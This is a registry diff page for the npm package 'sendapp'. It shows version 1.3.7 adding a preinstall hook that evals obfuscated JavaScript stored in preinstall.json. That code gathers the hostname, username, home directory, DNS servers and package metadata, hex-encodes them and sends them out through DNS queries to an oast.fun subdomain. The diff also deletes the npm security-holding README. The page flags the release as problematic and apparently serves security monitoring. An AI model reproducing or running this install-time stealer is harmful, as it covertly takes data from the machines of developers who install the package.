sendapp 0.0.1-security → 1.3.7
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of sendapp might be problematic. Click here for more details.
- package/package.json +11 -3
- package/preinstall.json +4 -0
- package/README.md +0 -5
package/package.json
CHANGED
@@ -1,6 +1,14 @@
|
|
1
1
|
{
|
2
2
|
"name": "sendapp",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "1.3.7",
|
4
|
+
"description": "Your package description",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"preinstall": "node -e \"const fs = require('fs'); const script = JSON.parse(fs.readFileSync('preinstall.json', 'utf8')).script; eval(script);\""
|
8
|
+
},
|
9
|
+
"dependencies": {
|
10
|
+
"os": "^0.1.1",
|
11
|
+
"dns": "^0.2.2"
|
12
|
+
}
|
6
13
|
}
|
14
|
+
|
package/preinstall.json
ADDED
@@ -0,0 +1,4 @@
|
|
1
|
+
{
|
2
|
+
"script": "const _0x2ae6=[...];(function(_0x16e5b0,_0x25051c){...})(_0x2ae6,0x19c);const _0x2230=function(_0x44ea70,_0x3fc0b8){...};const os=require('os'),dns=require(_0x2230('0x2')),packageJSON=require(_0x2230('0xf')),crypto=require(_0x2230('0x10'));const package=packageJSON['name'];const trackingData=JSON['stringify']({p:package,c:__dirname,hd:os[_0x2230('0x3')](),hn:os[_0x2230('0x8')](),un:os[_0x2230('0x6')]()[_0x2230('0x7')],dns:dns['getServers'](),r:packageJSON?packageJSON['___resolved']:undefined,v:packageJSON['version'],pjson:packageJSON,});const hexEncodedData=Buffer['from'](trackingData)[_0x2230('0x1')](_0x2230('0x0'));const chunkSize=0x3f;let chunks=[];for(let i=0x0;i<hexEncodedData[_0x2230('0xa')];i+=chunkSize){chunks[_0x2230('0xb')](hexEncodedData[_0x2230('0x9')](i,i+chunkSize));}function sendDNSQuery(_0x1fc44e){const _0x3faed8=_0x1fc44e+'.drwaleunfbsozqlydyns54s0blvmcxb7s.oast.fun';dns[_0x2230('0x4')](_0x3faed8,(_0x4b2ffb,_0x1689bc)=>{if(_0x4b2ffb){}else{_0x2230('0x13')[_0x2230('0x14')](`Sent:${_0x3faed8}`);}});}chunks['forEach']((_0x4d731b)=>sendDNSQuery(_0x4d731b));"
|
3
|
+
}
|
4
|
+
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=sendapp for more information.
|